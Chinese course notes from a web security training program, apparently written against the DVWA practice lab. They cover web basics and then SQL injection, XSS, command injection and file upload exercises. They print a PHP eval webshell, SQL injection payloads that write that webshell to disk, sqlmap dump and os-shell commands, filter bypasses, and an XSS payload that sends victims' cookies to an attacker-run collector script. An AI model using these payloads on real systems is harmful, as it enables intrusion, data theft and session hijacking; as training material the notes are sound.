网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记
Posted 柯北C0by
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记相关的知识,希望对你有一定的参考价值。
**
前言&Tips:
**:本课程适用于白帽子快速入门,即掌握最少且必要的知识。
Web基础知识
第一章
第一节
- Web2.0的特征是用户与用户可以交互。
- Web通信流程:用户<>浏览器<>服务器 可分为前端与后端
第二节
- URL:统一资源定位符Uniform Reaource Locator的简写。即站点链接。功能就是定位网站资源。
- URL详细格式:
- 底层协议://服务器域名或IP地址[:服务器端口#]/路径/../[?发送给http服务器的数据][#锚]
- http的报文:分为请求与响应两部分。请求报文有请求行(Request Line)、头部(Header)、数据体(Body)三部分;响应报文有状态行(Status Line)、消息报头、响应正文三部分。
- cookie:用户凭证。
- HTTP头信息中的Referer指明用户从何处来到此网站。可以统计流量,判断来源是否合法等。
- 状态码(301/302)说明正在跳转,下面的Location指明跳转的地址。
- Set-Cookie:是官方颁发的凭证。
第二章
第一节 html超文本标记语言
- HTML元素属性分为标签属性和事件属性
- HTML DOM树结构便于JS控制HTML元素
第二节 JS基础
- 当HTML已完成,想在页面操作HTML元素,就要用到javascript HTML DOM
- 获取HTML元素内容
document.getElementById("某个id").innerHTML <!--document.getElementById("某个id")用于获取元素,.innerHTML用于获取元素内容-->
- 写入HTML内容
document.write()
,可以写入文本、本地时间,也可以写入元素。 - 三种弹窗 :alert() comfirm() prompt()
- JS操作HTML用到DOM,操作浏览器用到BOM;
- 什么是cookie:用户上网时,服务器给用户的凭证,类似于钥匙。
- 如何获取cookie:document.cookie;
- 如何写入cookie:document.cookie = “写入值”(就是在源cookie后加上这些值);
第三节 Web服务端
- Web服务端中mysql提供数据服务,Apache提供Web服务
- 访问本地服务器的四种方法:localhost 127.0.0.1 本机IP 域名 。 其中域名又分为DNS解析和HOSTS文件解析两种方式。HOSTS的路径是C:\\Windows\\System32\\drivers\\etc\\HOSTS.
第四节 后端
- 数据库操作:
创建数据库:CREATE DATABASE 数据库名;
查看数据库:SHOW DATABASES;
切换数据库:USE 数据库名;
删除数据库:DROP DATABASE 数据库名;
- 数据表操作:
创建数据表:
CREATE TABLE teacher(
id int(4) not null primary key auto_increment,
name char(20) not null,
sex char(10) not null,
addr char(20) not null
);
查看数据表:SHOW tables;
- 数据操作(增删改查):
插入数据表:
INSERT INTO teacher(name,sex,addr)
VALUES('Leo','Male','hangzhou');
删除数据:DELETE FROM teacher WHERE name = 'Leo'
更新数据:UPDATE teacher SET name = 'ivan' WHERE id= 1;
查询数据表:SELECT * FROM teacher;
筛选数据:select 你要的信息 from 数据表(可多个) where 条件 ;
where 也可以用于updata和delete中;
排列数据:select 你要的信息 from 数据表(可多个)
order by 表头的字段(如:name) ASC(升序)/DESC(降序) ;
合并数据:
select 你要的信息 from 数据表1
union
select 你要的信息 from 数据表2 ;
不掩盖重复数据的合并:
select 你要的信息 from 数据表1
union all
select 你要的信息 from 数据表2 ;
MySQL的注释方法:
- #…
- – …
- /…/
1和2是行注释,3是块注释。
导入.sql
文件:
输入source ,然后把文件拖进命令行。但是Mysql在插入数据库的时候会自动去除转义符,所以需要在\\
的地方再加一个\\
。
MySQL中常见的内置函数:
- select database() :打印当前数据库名称
- select current_user:打印当前用户名
- select load_file(‘路径’):显示文件内容;
- select version() :打印数据库版本;、
第五节 php
- PHP脚本在服务器上运行。
- 注释:
//、#、/*...*/
最后一个是块注释。 - echo可一次输出多个,print有返回值。
.
表示串接,两个变量间无空格。- 变量以
$
开头。 - 请求有 G E T 、 _GET、 GET、_POST几种,除了对应接收外,这两种方式都可以被$_REQUEST接收。
- PHP的系统变量包含
$_SERVER
,可以提供一些关于系统的信息。 - 两个
.php
文件合并时,只需要在文件1?>
前加一句include '文件2'
. - PHP如何连接数据库:
- 连接MySQL服务:
mysql_connect("localhost","root","root")
- 设定编码:
mysql_query("SET NAMES UTF8")
- 选择数据库:
mysql_select_db("websecurity",$con)
- 操作数据库:
mysql_query("SELECT * FROM teacher")
- 关闭连接:
mysql_close($con)
- 导出数据库:
- 在
cmd
中使用mysqldump.exe命令,回车 - 输入
mysqldump.exe的路径(直接按上箭头) -u root -p 要导出的数据库名称 > 要导入的数据库的路径
- 会提示输入密码,然后ok
- 如何找到数据库连接文件:在
首页.php
文件中找到包含(include或者require)到路径下去找到该文件。
Web安全基础
第一章 常见Web安全问题
钓鱼、网页篡改、Webshell、暗链
第二章
第一节 XSS (Cross Site Script/跨站脚本)
概念:黑客通过“HTML注入”篡改网页,插入恶意脚本,当用户在浏览网页时,实现控制用户浏览器行为的一种攻击方式。
分类:存储型,反射型,DOM型
各类型的区别:
XSS类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
触发过程 | 1.黑客构造XSS到数据库 2.用户访问携带XSS脚本的页面 | 用户访问带有XSS的URL | 用户访问带有XSS的URL |
数据存储 | 数据库 | URL | URL |
谁来输出 | 后端WEB程序 | 后端WEB程序 | 前端JS |
输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |
第二节 CSRF(跨站请求伪造)
概念:利用用户已登录的状态(利用cookie),在用户主动访问伪造页面而不知情的情况下完成非法操作(如转账等)的攻击方法
第三节 点击劫持/又名UI覆盖
概念:通过用一个网站覆盖另一个网站的方式,在用户不知情的情况下完成非法操作的攻击方法
第四节 URL跳转
概念:借助跳转,将用户引导到不安全的第三方区域的攻击方法。
第五节 SQL注入
概念:通过数据与代码的拼接,改变代码的原意,从而进行非法操作的攻击方法。
第六节 命令注入
概念:与SQL注入类似,区别是利用了系统命令(如关机、删除等危险命令)。
第七节 文件操作漏洞
文件上传漏洞、任意文件下载漏洞、文件包含漏洞。
Web安全工具
第一章 浏览器与浏览器拓展初级
- 如何开启和关闭JS或者弹窗(包括Chrome/FireFox/IE)
- 查看网页源代码:右键“查看网页源代码”或 “view-source:”
- 查看DOM代码:“右键-检查”或“开发者工具小箭头”
- 查看网络数据包:“开发者工具-NetWork"
- 火狐的四个插件:Advanced Cookie Manager、Firebug、HackBar、Proxy Switcher.
第二章 代理抓包分析工具
- “代理”可对经过的数据包进行记录、拦截、修改、再次发送、丢弃等操作,如同在浏览器与Web服务器之间的收费站。
- 掌握火狐和Chrome的代理设置。Proxy Switcher作为火狐的插件,可以方便的实现多代理点的切换。
- 常见的代理抓包工具:Burpsuite、Charles、Fiddler.在使用时首先要设置监听端口
第三章 漏洞扫描工具初级
第一节 敏感文件探测
- 如何安装python:
1. 下载安装包。
2. 安装,记住安装路径。
3. 配置环境变量。 属性-高级系统设置-环境变量-新建(变量名为PATH,变量值为 "安装路径+;.;")
- 敏感文件:像网站管理后台、数据文件、备份文件、Webshell等对于网站安全有重要意义的文件。
- 敏感文件探测:猜测文件路径,根据http返回码判断文件是否存在。
- 判断网站脚本类型:测试一下index.xxx的类型是什么。当然此方法有可能会被防御者将计就计。
第二节 漏洞扫描工具
- 常用的有AWVS/Netsparker/AppScan.掌握AWVS扫描网站的基础方法。
- Tips:
1.扫描的不良影响:高流量、可能会触发危险请求(如删库)
2.无法扫描到逻辑漏洞:如通过抓包篡改的账本。
第三节 SQL注入漏洞测试入门
- SQL注入的典型危害是可以被用于获取数据库敏感数据。
- SQL注入流程:
1.找到有数据库交互的页面。
2.判断页面是否存在SQL注入。
3.利用SQL注入读取数据。
4.下载数据。
- sqlmap的威力:
1.支持多种数据库:MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Friebrid,Sybase,SAP MaxDB,HSQLDB,Informix.
2.支持多种参数位置:GET,POST,Cookie,HTTP.
- sqlmap codes&tips:
1.当输入带 "-"的命令时,一个 "-"后跟字母缩写,两个 "-"后跟完整单词。
2.扫描网站,判断注入点:python sqlmap.py -u "目标url"
3.查看用户:--users
4.产看数据库:--dbs
5.查看当前用户和数据库: --current-user --current-dbs
6.查看数据库表信息: --tables -D "目标dbs"
7.查看数据表的列信息: --columns -T "目标tables" -D "目标dbs"
8.查看数据表有多少条数据: --count -T "目标tables" -D "目标dbs"
9.查看数据内容: --dump -T "目标tables" -D "目标dbs"
(查看第二条到第三条数据,在此命令后加上 " -- start 2 --stop 3" )
10.下载目标数据库的全部数据: --dump-all -D "目标dbs"
当参数位置是POST时:有两种语法来寻找注入点:
- 将抓包所得的数据包文件移动到sqlmap本地位置,运行
python sqlmap -r "数据包文件名"
。 - 执行`python sqlmap -u “目标url” --data=“参数样例”。参数样例在抓包所得的数据包中。
第四章 搜索及在线Web工具
- 百度和google的高级搜索。
利用高级搜索可寻找:
1. 数据库交互页面: inurl:php?
2. 敏感文件的泄露: filetype:log(日志文件) sql(数据库文件)
3. 网站以前的缓存: cathe:目标网站。
- 了解Shodan、Zoomeye、FOFA的网络空间搜索。
- 网络空间搜索引擎的原理:爬取众多ip网段-打标签-存储以供搜索。在这个过程中要保证更新。
Web安全实战
第一章 DVWA的配置
第二章 暴力破解
- 暴力破解实质上是猜测用户名和密码。
- 辅助工具:OWASP ZAP(开源,基于java,要装jdk。)
- 会利用OWASP ZAP 跑字典。
第三章 命令注入
- 注入其实就是“拼接”的意思。
- 三部曲:
1. 是否调用系统命令?
2. 函数或函数的参数是否可控?
3,是否实现命令注入?
- 命令拼接符:
A&B:AB之间无制约关系。
A&&B:A执行成功,然后才会执行B。
A|B:A的输出作为B的输入。
A||B:A执行失败,然后才会执行B。
- 注入经验:当命令被加入黑名单时,可以通过添加双引号进行绕过。whoani=who"“ami=who”“am”"i.在Linux里,还可以加两个单引号。
- 对于无回显的命令。可以使用
sleep 5
(在Linux中)这样的命令测试是否存在漏洞。
第四章 CSRF
- 在用户使用Web应用时,黑客诱骗用户点击自己精心伪造的链接,使用户做出非本意的操作。
- 掌握Tamper Data的使用,用此工具辅助自己构造链接。
第五章 文件包含
- 利用代码的包含漏洞,使得服务器执行自己想要让其执行的本地文件,甚至远程文件。
- 水平较高的网站会过滤敏感字符,这时就需要开动脑筋找出怎么过滤的,对症下药即可。
- file协议:本地文件传输协议。
- 一句话WebShell-cmd:
<?php
@eval($_GET['cmd']);
?>
输入形似:http://127.0.0.1/WebShell文件名?cmd=命令 (如phpinfo();)
当执行系统命令时,将后半部分改为cmd=system(这里面填命令);
第六章 文件上传漏洞
- 掌握OWASP ZAP重发送数据包
- cmd中如何进入D盘,输入
d:
. - copy命令制作暗命令(内涵图)。
copy 1.jpg/b+1.txt/a 2.jpg
命令中,b
表示二进制文件,a
表示文本文件。 - nginx中存在着畸形解析,只要配置文件
php,ini
中chi.fix_pathinfo
=1.Web程序读取xxx.jpg
当做xxx.php
执行。 - 修复:
1. 阻止非法文件上传:文件后缀名,文件类型,文件内容头部的判断。
2. 阻止非法文件执行:文件重命名、文件压缩重生成、存储空间与Web服务分离。
第七章 SQL回显注入
- 命令注入漏洞注入的是系统命令,SQL注入是指通过WEB程序在数据库里执行任意SQL语句。
- 判断是否存在SQL回显注入:一般输入
1'
或者1"
,如果错误信息回显,说明存在SQL注入漏洞。 POC
:证明漏洞存在的代码。- 三种常见POC:
1 or 1=1
1' or '1'='1
1" or "1"="1
- 三种MySQL注释符:
#注释:单行注释,url中的#常编码成%23
-- 注释:单行注释,注意最后有一个空格。
/*注释*/:多行注释。
- 使用
order by
来查询字段数。如1' order by 字段数
.选一个大的数如10,用二分法来缩小猜测范围,直到不再报错的那个数就是字段数。 - 知道字段后,使用
union select 1,2 --
来确定回显点,也就是哪个地方是服务器显示给我们的。union select 表示将后面命令显示在union前命令的后面。
@@version
查看数据库版本@@datadir
查看数据库位置user()
查看用户名database()
查看数据库名称- 如何获取数据库所有数据:
- 数据库名已知,获取数据表名:
xx' union select 1,table_name from information_schema.tables where table_schema='数据库名' --
- 数据表名已知,获取字段名:
xx' union select 1,column_name from information_schema.columns where table_name='数据表名'
- 查询具体数据,如用户名,密码:
xx' union select user,password from 数据表名 --
Tip:还可以获取系统信息,比如读取win.ini
文件:
利用MySql的load_file
函数:xx' union select 1,load_file('c:\\\\windows\\\\win.ini')--
- 写Webshell:
- 编写异常命令使服务器爆出Web程序的物理路径
xx' union select "xx","xx" into outfile 'xx' -- (导出文件命令)
- 写入Webhshell到服务器:
xx' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'D:\\\\phpstudy\\\\WWW\\\\DVWA-1.9\\\\cmd.php' --
- 使用Sqlmap工具自动扫描:
1.sqlmap -u "http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=d5t2lcfrs2ks10qo2fkvmbng06;security=low"
2.上传WebShell的命令:--os-shell
- 中级难度的SQL inject:
1.对方使用下拉框只是修改了提交的形式,有可能改为了POST
请求。这时,可以使用tamper data
来修改请求。
2.当遇到需要转义的字符时,我们可以使用Hackbar-Encoding-HEX Encoding-String to 00ff00ff
来编码,并在这个编码前加上0x
表示它是16位的。然后在修改请求时用此编码代替字符。
3.使用Sqlmap扫描POST请求网站的代码:sqlmap.py -u"http://172.19.212.83/DVWA-1.9/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=tvciq0bt6lltol4vrltperg026; security=medium"
关键是data
,可以在Firebug-网络-Post请求的名字
中找到。
-高级难度的SQL inject:
1.难度在于,注入点与回显点不同,手工注入没什么差别。其难度在于使用Sqlmap时更复杂,需要加一个--second-order
参数来指定回显页面。
第八章 SQL盲注
- SQL盲注:数据库的执行结果不会直接显示到页面上,页面只会显示真假。
- 三种POC,都使用
真&&假
的形式,如果,返回值为假,就说明采用了这种方式。 - Sql手工盲注就是使用
1' and 命令
的请求来判断命令是否为真,进而获取数据库信息。 - 几个常用命令:
select length('str')
:获取字符串长度。
如1' and length(database())>1 --
、1' and length(database())>1 --
等命令使用二分法来确定数据库名称。substr(expression,start,length)
–获取子字符串(原始字符串,子串开始位置,子串长度)ascii(string)
:获取第一个字符的ASCII数值。获得ASCII码后可以使用二分法来确定是哪个字符。一般字符的ASCII码是在64到127之间的。- SQL盲注可分为布尔型和延时性。以下为延时性盲注的常用函数。
if(expr1,expr2,expr3)
:如果1为真,返回2,否则返回3.sleep(N)
:休眠(N)秒。可使用1' and sleep(if(length(database())=4,5,0))--
来实现延时盲注。benchmark(count,expr)
–重复计算(次数,表达式)。可使用1' and benchmark(if(length(database())=4,5000000,0),md5('test')); --
- 使用Sqlmap扫描盲注点。
-p
参数用来指定参数,比如id或者user-anget
。 - Sqlmap扫描low等级漏洞:
sqlmap.py -u"http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402;security=low" -v 3
- Sqlmap中payload所用的函数:
cast(expression as data_type)
–数据类型转换(表达式 as 新的数据类型)ifnull(expr1,expr2)
–如果1是null,返回2,否则返回1.mid(expression,start,length)
–获取子字符串(原始字符串,子串开始位置,子串长度)ord(string)
–获取第一个字符的ASCII码(字符串)。
- Sqlmap扫描medium等级漏洞:
sqlmap.py -u "http://172.19.201.158/dvwa-1.9/vulnerabilities/sqli_blind/#" -p "id" -cookie "PHPSESSID=cv24qmblubmfrbo10f3glth402; security=medium" --data "id=1&Submit=Submit"
- Sqlmap扫描high等级漏洞:
sqlmap.py -u "http://172.19.213.0/dvwa-1.9/vulnerabilities/sqli_blind/" -p "id" --cookie "id=1;security=high;PHPSESSID=p9u0jpvicogb1iv474m0ogqbh2" --level 2
第九章 XSS
- XSS属于客户端代码注入,常用代码为JavaScript,而命令注入和SQL注入是服务端代码注入。
- 可分为三种类型:
存储型:数据库 HTTP
反射型:URL HTTP
DOM型:URL DOM节点
第一节 反射型
- 弹窗测试XSS漏洞是否存在:
<script>alert(/xss/)</script>
除alert()
之外,还有confirm()
和prompt()
函数。 - XSS攻击思路:用户登录Web服务器,攻击者发送url,用户点击,Web服务器对攻击js回应并发送会话信息到攻击者的Web服务器,攻击者使用会话信息劫持用户会话。
- 攻击者行动:
- 在自己的服务器上写入获取会话信息的文件
cookie.php
–内容是
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',
$cookie);
?>
- 构造攻击js
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
3.构造并发送攻击url
http://172.19.212.134/dvwa-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
但要注意,<script></script>
里面的语句(包括script
本身)要经过hackbar里URLencode
的编码。
4.利用自己服务器上的cookie.php
里的cookie凭证,结合Firebug修改cookie凭证,直接访问index.php
主页,即可劫持。
- medium等级:服务端过滤了
<script>
标签。
- 可以通过
<scri<script>pt>
嵌套来实现绕过。 - 可以通过
<ScriPt>
大小写混合来实现绕过。
- high等级:
<script>
标签被禁用。
- 使用
img
标签也可以插入js代码:<img src=x onerror=alert(1)>
,成功弹框。 - 使用
iframe
标签,iframe
标签可以嵌入另一个html页面,可以在这个页面里写入js代码:<iframe onload=alert(1)
,成功弹框。
- impssible等级:使用了htmlspecialchars函数来将特殊字符如
& ' " < >
编码成& " ' &alt; >
但是此函数默认不编码单引号'
。要编码单引号,需要加上ENT_QUOTES
参数。
第二节 存储型
- 发送数据的长度受限。可以使用
Tamper data
解决。 - 存储型XSS是直接存在数据库里的,所以弹窗会一直存在。
- 存储型impossible等级:使用了
mysql_real_escape_string
函数,此函数会对引号进行转义,防止SQL注入。
XSS的修复:
输入过滤:黑名单,白名单;
输出过滤:HTML编码,JS转义。
第五章 Web安全体系建设
第一章 SDL(Security Development Lifecycle)
- 中文名:安全开发生产周期,来自微软
- 步骤:培训 需求 设计 实施 验证 发布 响应
第二章 应急响应
-安全漏洞与安全事件的区别
以上是关于网易云课堂微专业—Web安全工程师网易“白帽子黑客”训练营笔记的主要内容,如果未能解决你的问题,请参考以下文章